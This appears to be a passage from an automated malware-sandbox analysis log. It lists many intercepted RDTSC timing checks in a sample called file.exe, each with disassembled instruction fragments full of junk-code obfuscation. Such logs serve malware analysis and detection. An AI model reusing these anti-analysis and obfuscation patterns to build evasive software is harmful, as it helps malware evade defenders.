Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA36 second address: 64AA3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA3A second address: 64AA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E0453100Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6E0453100Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA5D second address: 64AA67 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E04C712C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663AE9 second address: 663AF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F6E04531006h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667932 second address: 66793C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6E04C712C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66793C second address: 66795D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F6E0453100Bh 0x0000000e popad 0x0000000f popad 0x00000010 jo 00007F6E04531022h 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66795D second address: 667966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667966 second address: 66796A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66796A second address: 66796E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667480 second address: 667486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667486 second address: 66748A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B056 second address: 67B05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B58F second address: 67B5BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D6h 0x00000007 jmp 00007F6E04C712CFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BC0F second address: 67BC31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Eh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jp 00007F6E04531006h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BC31 second address: 67BC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BD97 second address: 67BD9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BD9D second address: 67BDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ED11 second address: 67ED88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6E04531015h 0x0000000a popad 0x0000000b nop 0x0000000c xor dword ptr [ebp+1247F61Bh], ecx 0x00000012 mov dword ptr [ebp+122D2A6Eh], ecx 0x00000018 push 00000004h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F6E04531008h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 mov dword ptr [ebp+12453CA3h], eax 0x0000003a call 00007F6E04531009h 0x0000003f jmp 00007F6E04531010h 0x00000044 push eax 0x00000045 pushad 0x00000046 push ebx 0x00000047 jg 00007F6E04531006h 0x0000004d pop ebx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ED88 second address: 67ED8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ED8C second address: 67EDDF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jne 00007F6E0453100Ah 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jg 00007F6E0453101Ah 0x0000001a jmp 00007F6E04531017h 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EFF9 second address: 67EFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EFFE second address: 67F021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6E04531006h 0x00000009 jnl 00007F6E04531006h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 jmp 00007F6E0453100Ch 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681D52 second address: 681D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6E04C712C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681D5C second address: 681D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531018h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681D7F second address: 681D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F6E04C712C6h 0x0000000d ja 00007F6E04C712C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59EB55 second address: 59EB5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59EE0D second address: 59EE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6E04C712C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2069D second address: 4D206AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E0453100Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206AF second address: 4D206B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206B3 second address: 4D2078A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6E04531017h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F6E04531016h 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 mov ecx, 538C27ADh 0x0000001c call 00007F6E0453100Ah 0x00000021 pushfd 0x00000022 jmp 00007F6E04531012h 0x00000027 or cl, 00000078h 0x0000002a jmp 00007F6E0453100Bh 0x0000002f popfd 0x00000030 pop eax 0x00000031 popad 0x00000032 push eax 0x00000033 jmp 00007F6E04531016h 0x00000038 xchg eax, ecx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F6E0453100Eh 0x00000040 and ax, 3B08h 0x00000045 jmp 00007F6E0453100Bh 0x0000004a popfd 0x0000004b pushfd 0x0000004c jmp 00007F6E04531018h 0x00000051 adc si, DD68h 0x00000056 jmp 00007F6E0453100Bh 0x0000005b popfd 0x0000005c popad 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2078A second address: 4D207E7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6E04C712D0h 0x00000008 jmp 00007F6E04C712D5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F6E04C712D9h 0x0000001a pop eax 0x0000001b call 00007F6E04C712D1h 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207E7 second address: 4D20851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6E0453100Ch 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F6E0453100Bh 0x0000000f or eax, 6E5860CEh 0x00000015 jmp 00007F6E04531019h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, esi 0x0000001f jmp 00007F6E0453100Eh 0x00000024 lea eax, dword ptr [ebp-04h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F6E04531017h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20851 second address: 4D20892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F6E04C712D5h 0x0000000b xor esi, 1F734D16h 0x00000011 jmp 00007F6E04C712D1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, di 0x00000021 mov ax, di 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20931 second address: 4D20971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6E0453100Fh 0x00000009 adc ch, 0000007Eh 0x0000000c jmp 00007F6E04531019h 0x00000011 popfd 0x00000012 mov ah, D6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov edi, eax 0x0000001e mov dx, ax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209D1 second address: 4D209D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209D6 second address: 4D209E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 44B2h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209E9 second address: 4D209EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209EF second address: 4D209F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209F4 second address: 4D20A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F6E04C712D9h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A1C second address: 4D20A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A20 second address: 4D20A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A26 second address: 4D20A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A2C second address: 4D20A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a call 00007F6E04C712CFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A47 second address: 4D20008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007F6E04531153h 0x0000001b xor eax, eax 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F6E08E8F59Bh 0x00000031 mov edi, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20008 second address: 4D2000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2000C second address: 4D20010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20010 second address: 4D20016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20016 second address: 4D20093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6E0453100Ah 0x00000011 push eax 0x00000012 jmp 00007F6E0453100Bh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F6E04531016h 0x0000001d mov ebp, esp 0x0000001f jmp 00007F6E04531010h 0x00000024 push FFFFFFFEh 0x00000026 pushad 0x00000027 mov si, 8F9Dh 0x0000002b pushfd 0x0000002c jmp 00007F6E0453100Ah 0x00000031 xor al, FFFFFFF8h 0x00000034 jmp 00007F6E0453100Bh 0x00000039 popfd 0x0000003a popad 0x0000003b call 00007F6E04531009h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 mov bh, 76h 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20093 second address: 4D20098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20098 second address: 4D200F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6E04531019h 0x00000009 xor esi, 36E56046h 0x0000000f jmp 00007F6E04531011h 0x00000014 popfd 0x00000015 mov ch, FAh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F6E0453100Ah 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6E0453100Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D200F1 second address: 4D20103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04C712CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20103 second address: 4D20151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007F6E0453100Ch 0x00000010 jmp 00007F6E04531012h 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007F6E0453100Bh 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6E04531010h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20151 second address: 4D20157 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20157 second address: 4D20185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 6ABEF3D5h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6E04531013h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20185 second address: 4D201A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201A2 second address: 4D201D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 0BD6379Bh 0x00000010 jmp 00007F6E0453100Eh 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201D8 second address: 4D201DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201DC second address: 4D201E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201E0 second address: 4D201E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201E6 second address: 4D20229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6E04531012h 0x00000009 adc esi, 5A3F4588h 0x0000000f jmp 00007F6E0453100Bh 0x00000014 popfd 0x00000015 mov dl, al 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push esp 0x0000001b pushad 0x0000001c mov ebx, eax 0x0000001e mov bl, al 0x00000020 popad 0x00000021 mov dword ptr [esp], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov ecx, 1311593Dh 0x0000002c mov bx, si 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20229 second address: 4D2022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2022F second address: 4D20261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F6E04531013h 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20261 second address: 4D20267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20267 second address: 4D2026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2026B second address: 4D202E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6E04C712CEh 0x00000013 adc si, EF08h 0x00000018 jmp 00007F6E04C712CBh 0x0000001d popfd 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F6E04C712D7h 0x0000002c and cx, 77FEh 0x00000031 jmp 00007F6E04C712D9h 0x00000036 popfd 0x00000037 movzx esi, bx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202E2 second address: 4D202E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202E8 second address: 4D202EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202EC second address: 4D20360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a call 00007F6E0453100Eh 0x0000000f call 00007F6E04531012h 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 mov ebx, eax 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F6E0453100Fh 0x00000023 add ecx, 71CF081Eh 0x00000029 jmp 00007F6E04531019h 0x0000002e popfd 0x0000002f jmp 00007F6E04531010h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20360 second address: 4D20392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 0745D906h 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6E04C712D8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20392 second address: 4D203E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F6E0453100Dh 0x0000000b xor esi, 691E2116h 0x00000011 jmp 00007F6E04531011h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b jmp 00007F6E0453100Eh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F6E0453100Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203E0 second address: 4D203E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203E6 second address: 4D203EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203EA second address: 4D203EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203EE second address: 4D20444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F6E04531019h 0x0000000e mov eax, dword ptr [769B4538h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6E0453100Ch 0x0000001a sub cx, E1F8h 0x0000001f jmp 00007F6E0453100Bh 0x00000024 popfd 0x00000025 mov dl, ah 0x00000027 popad 0x00000028 xor dword ptr [ebp-08h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov di, cx 0x00000031 mov di, si 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20444 second address: 4D20457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 37h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 mov al, 14h 0x00000012 popad 0x00000013 rdtsc
